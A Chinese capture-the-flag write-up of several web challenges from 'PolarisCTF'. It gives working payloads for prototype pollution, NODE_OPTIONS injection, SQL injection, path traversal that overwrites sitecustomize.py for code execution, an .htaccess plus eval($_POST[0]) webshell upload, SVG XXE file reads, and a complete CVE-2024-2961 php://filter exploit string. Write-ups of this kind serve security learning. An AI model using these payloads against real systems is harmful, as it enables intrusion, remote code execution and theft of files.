Polarisctf Web方向部分wp
ez_python
这玩意感觉都算不上原型链污染了
1 | {"config":{"filename":"/flag"}} |
直接利用merge函数来修改可以查看的文件,猜测flag在根目录下,直接读/flag
Not a Node
一开始这题想多了,以为要绕过沙箱限制去命令执行,但其实只是一个不可枚举属性读取的问题
题目给了示例代码:
1 | export default { |
然后根据右边有个小框中写到:
1 | The runtime exposes documented APIs through the `__runtime` global. Platform orchestration may rely on additional internal bindings not listed here. |
再配上示例代码展示的,可以去读一下__runtime的属性
1 | export default { |
这里用Object.getOwnPropertyNames()的原因就是可以访问不可读取的属性
每个属性都跟进一下,跟到_internal里发现
一直跟到__runtime._internal.lib.symbols
这里symbols里的16进制转换后是
1 | _0x6c697374 => list |
到这里可就可以猜测这两个是方法,所以直接调用看看
1 | export default { |
也对上了猜测
用类似的方法来用read,发现
根据报错得知这里要给参数,所以改成
1 | export default { |
然后依然报错
1 | "cmd": "ERROR: The argument 'path' must be a string, Uint8Array, or URL without null bytes. Received \"/app/\\u0000\\u0000\\u0000\\u0000\\u0000\"" |
这里告诉需要格式化输出字符,所以要额外套一层TextEncoder()
1 | export default { |
拿到flag
ezpollute
污染方法部分
根据题目源码
1 | function merge(target, source, res) { |
这里如果检测到__proto__就会被阻止,我们换用constructor.prototype来绕过
node部分
1 | for (let key in process.env) { |
这里是遍历读取当前运行环境的变量,来输入到后面node启动时的环境变量,可以通过利用NODE_OPTIONS来做到任意文件读取
可以尝试构建
1 | node -e --require /flag |
但是过滤了require,直接用短参数绕过,所以最终payload如下
1 | { |
然后访问/api/status节点运行获取信息拿到flag
醉里挑灯看剑
capability 提权
问题在这两段组合:
normalizeSyncRows()允许某些 op 通过keepRole !== false/keepLane !== false来不写入role和lane。appendCapabilityRows()只取 第一行 的键集合firstRowKeys,再把后续所有行都裁成同样的 shape。也就是说,只要第一行没有role/lane,后面即使有,也会被丢掉,变成null。getEffectiveCapability()读取最新一条 snapshot 时会COALESCE(role, 'maintainer')和COALESCE(lane, 'release'),也就是null会被补成maintainer/release。
利用要点:- 让排序后第一条是一个不带
role/lane的记录,这样firstRowKeys不包含这两个字段。 - 让排序后最后一条也是你可控的记录,这样它作为最新 snapshot 被读取时,
role/lane是null,再被COALESCE成maintainer/release。 - 因为排序按
source字典序,不是按stamp。
利用 payload
先拿个token
1 | POST /api/auth/guest |
用这个token直接打
1 | POST /api/caps/sync |
然后我们就可以利用这个token来用/api/release/execute
这里要绕过一下
1 | POST /api/release/execute |
直接从环境里拿到flag
only real
路径扫一下,发现一堆东西
然后通过主页面的源码里的账号和密码登录面板
发现文件上传,尝试……尝试个蛋,为啥flag.php给的是真flag啊
Broken Trust
注册一个账号进入,发现一个api用于检验身份
删除请求包里的cookie后发现依旧可以查询,猜测可能是sql注入
输入
1 | ' |
后出现报错
1 | unrecognized token: "'''" |
所以可以判断用'闭合,尝试
1 | {"uid":"'OR 1=1 -- "} |
发现可以返回第一条数据,即admin的uid
使用文件备份接口
然后就是一个简单的路径穿越,文件读取
AutoPypy
两份代码server.py
1 | import os |
和launcher.py
1 | import subprocess |
本来想打任意文件上传,他初始化了上传路径是uploads,但是我们可以用../来路径穿越
可惜被拦了,换个思路
1 | import site |
我们可以尝试污染site包来逃逸
在import site时会自动加载sitecustomize,所以我们可以修改site-packages下的sitecustomize.py来造成沙箱前的RCE
上传名称:
1 | ../../usr/local/lib/python3.10/site-packages/sitecustomize.py |
sitecustomize.py的内容
1 | import os |
拿到flag
only_real_revenge
前面信息收集和only_real差不多,这题主要是文件上传黑名单绕过
测试发现过滤了php,估计是关键词检测,有php就waf,但是是apache服务+php可以用用.htaccess绕过,尝试上传发现果然可以,那直接一条龙了
.htaccess上传
1 | <FilesMatch "2.jpg"> |

2.jpg上传
1 | eval($_POST[0]); |

直接访问拿flag就行

1
xmctf{d2060748-96b5-4f5c-a11c-ad8317e7edb4}
1 | xmctf{d2060748-96b5-4f5c-a11c-ad8317e7edb4} |
对了还得说一点,这文件上传接口有点问题,不是dashboard.php,抓了文件上传的包后要自己更改成upload.php
DXT
这是一道MCP的题,我这里直接用mcpb来构造包
根据官方文档,dxt已经弃用,换成了mcpb,但是大致结构基本一样,所以可以直接换后缀
直接用官方的example来构建server,
manifest.json
1 | { |
主要是
1 | "mcp_config": { |
这个参数,这题服务开启后是调用exec执行这个命令
注意打包后要将后缀
.mcpb改为.dxt
然后manifest.json里的manifest_version要改为dxt_version
所以可以尝试直接反弹shell来拿到flag
头像上传器(复现)
打了一半吧应该
在主页面发现可以上传svg,所以往svg+xxe这个方向猜测
利用这个漏洞可以任意文件读取
1 |
|


也可以就这样把源代码扒下来
1 | //upload.php |
CVE-2024-2961
用xxe+svg的方法来读取/proc/self/maps,发现里面有libc-2.31.so文件
所以接着用base64的方法去读取这个文件
解码输出,然后用脚本来直接输出payload
1 | php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=data:text/plain;base64,e3vXsOiOmQhbwpX3Jg/0whdxiW3UuW7pINXHG6fsu2qO1nTPmdZPGjfMXuLlNrOT/b75jP%2bCQq6Cvw1uLwpjwA%2bWbdBxj3laNtUq7atY9drUvIk5Avg1NHjqnBYM3xm7tC9y79G47JnRKtIs%2bHUkCJ0uOhKaF74yOSx/4/WoZ2In2RjxW7HyznTddUHrg46vuVbHVCO//dfXR3eP89%2bOm/5367t8%2be/HX//783L/L/fJPV%2b95j%2b37vXYJ0fAlz/2V6%2b6eDpZOvXMNd1v/qX1q36fvqQvt/735%2bV7r9nJlcbf//b2cXz9vqd/9ev320/yl8Rv2r%2bJv6e/ZvgEIZ4b/o5Jrt/33n/978uL%2b5/vuv%2bqLv7b7/a6j18Wylveq/99a/n2/t9/n%2b6K%2bK359O%2bCT9NrY/ff/XNL3jSvOmpfbI/9nxLbb29fH87P//15l32%2b7fGbz9oS/6wWPHldGr8bDphMS%2b1efWX1FcPVpqfO1P3/Ot1jGzuBUDhc6XJs1sWoft1TKkov7UcVjyoeVUxnxQe%2bTItKXvZUL3mr/mKdQKWbbATMvhyd1Ttz2u6eq/t6Nrl0phAoFBh88leapkW9Mwr7bXRKSHVSLgHlBmuX5hVOlbp/Odv%2bU%2bniPd3yp/Pr/3wp1hRMtCZkUfbK6Jilx75/udUv9XSua8tb4m3KmlIuJljPBAA= |

